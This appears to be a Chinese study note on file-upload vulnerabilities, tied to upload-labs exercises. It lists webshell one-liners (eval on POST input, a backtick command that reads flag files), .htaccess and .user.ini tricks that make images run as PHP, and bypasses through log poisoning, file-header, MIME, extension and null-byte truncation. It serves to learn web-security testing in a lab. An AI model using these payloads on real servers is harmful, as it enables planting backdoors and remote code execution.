4.26文件上传学习
一、文件上传
概念:(不赘述转web安全文件上传)[[9.6-9.7基础和过滤方式]]
前置知识:(除解析漏洞)后门代码需要以特定格式后缀解析,不能以图片后缀解析;
知识点
1、文件上传-前端验证
直接修改前端js代码,文件上传格式;
2、黑白名单
3、user.ini用处(文件包含)(uploadlabs 5)
-
上传.uer.ini文件,apache中同理配置文件.htaccess;
修改文件为auto_prepend_file = 1.jpg 或
auto_append_file = 1.jpg (区别是一个文件前一个文件后) -
1.png文件(?php phpinfo();?)
-
此时访问默认首页index.php文件(调用.user.ini)即可解析到1.png后门文件;
4、htaccess解析特性(uploadlabs 4),未对其过滤,可以直接上传.htaccess使用php解析任意文件;
- 确保Apache已启动.htaccess覆盖:确保 httpd.conf文件中
AllowOverride
指令设置为All
(或相应的覆盖级别),以允许.htaccess
文件的配置规则生效。
创建.htaccess文件,内容为
<FilesMatch "\.jpg">
SetHandler application/x-httpd-php
</FilesMatch> 含义是将任意jpg文件结尾的文件以php格式执行
- 之后先上传.htaccess文件,再上传任意x.jpg后门文件,访问文件地址即可验证后门上传成功;
5、PHP语言特性
二、 详细点
1、检测层面:前端、后端
2、检测内容:文件头、完整性、二次渲染
过滤上传文件特定内容组合;
<?echo '123';?> (前提开启配置文件short_open_tags=on,短标签)
<?=表达式;?> 如<?=eval($_POST=[x]);?>(不需要开启参数设置)
<% echo '123';%> (前提开启asp_tags=on)
<script language="php">echo '1';</script> (不需要修改开关)推荐2,4
内容绕过屏蔽[],转换成{}即可;
<?=eval($_POST=[x]);?> 改为<?=eval($_POST={x});?>
内容过滤括号(),反引号名执行;
<?=`cat ../fl*`?>
内容过滤反引号,包含日志文件,日志文件头UA写后门代码,寻找对应中间件的日志文件路径;
之后构造任意请求包含后门,后门将再日志文件中触发;
文件头过滤,常用文件头;
JPG : FF D8 FF E0 00 10 4A 46 49 46
GIF : 47 49 46 38 39 61 (GIF89a)
PNG: 89 50 4E 47
三、黑名单
3、检测后缀(直接):黑名单(asp、php、jsp、aspx、cgi、war)、
MIME解析:多用互联网邮件扩展类型,指某拓展名文件用一种程序打开,如声音audio,图片image/gif、png、jpeg等,video/mpeg(动画),text/plian(纯文本),text/html(html文档);
后端代码限制,抓包修改Content-Type验证格式;
其他非php的网站同理,上传其能解析的后缀后门;
修改Content-Type: image/png 即可绕过
大小写:修改后缀大小写如phP,PHp(uploadlabs-6);
4、绕过技巧:多后缀解析、截断、中间件特性(解析)、条件竞争等
多后缀解析(uploadlabs 3): 若显示禁止文件后缀为.asp,.aspx,php,jsp,则修改如php5、phtml、phtm、php2、php3、phps(php别名)
5、空格绕过,上传后门文件后缀x.php (加空格即可)(uploadlabs-7/10)
6、点绕过,后门文件后缀x.php. 进行绕过(==**uploadlabs-8);
7、::$DATA绕过(uploadlabs-9)
前提 必须是windows,必须是php,必须是源文件;
文件名+"::$DATA"会把$DATA后的数据当成文件流处理,不会检测后缀名,且保持::$DATA之前的文件名;
8、双后缀名过滤,代码将字符串里的php替换为空(uploadlabs-7/11);
一次过滤;a.php过滤为a.
a.pphphp过滤为a.php
循环(递归)过滤:
a.pphphp过滤为a.
四、白名单(MIME解析)
白名单(jpg、png、zip、rar、gif)、MIME检测(==uploadlabs 2==)等
1、%00截断(php版本5.2.x,且magic_quotes_gpc=off
关闭。**uploadlabs 12)
解析含义为chr(0),含义是NULL空字符==
若文件传输地址为../upload/1.php,在get请求中加上截断为,get不需要解码,%00即是url编码后的
../upload/1.php%0011233323123.jpg 相当于截断%00后数据,此时连接后门只取../upload/1.php的地址
2、若传参方式为post,则需要在post传参处截断;但是%00属于url编码,在post请求中服务器不会自动解码为空,所以需要对%00先进行编码;( uploadlabs 13)
需要%00转化为url编码
3、0x00截断
0x00代表16进制的空字符00,效果一样,在hex中修改
4、0x0a截断
0x0a是十六进制表示方法,表示ASCII码为/n的换行字符,具体为换行至下一行行首起始位置;
重要的是截断的位置;
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· 阿里最新开源QwQ-32B,效果媲美deepseek-r1满血版,部署成本又又又降低了!
· 单线程的Redis速度为什么快?
· SQL Server 2025 AI相关能力初探
· AI编程工具终极对决:字节Trae VS Cursor,谁才是开发者新宠?
· 展开说说关于C#中ORM框架的用法!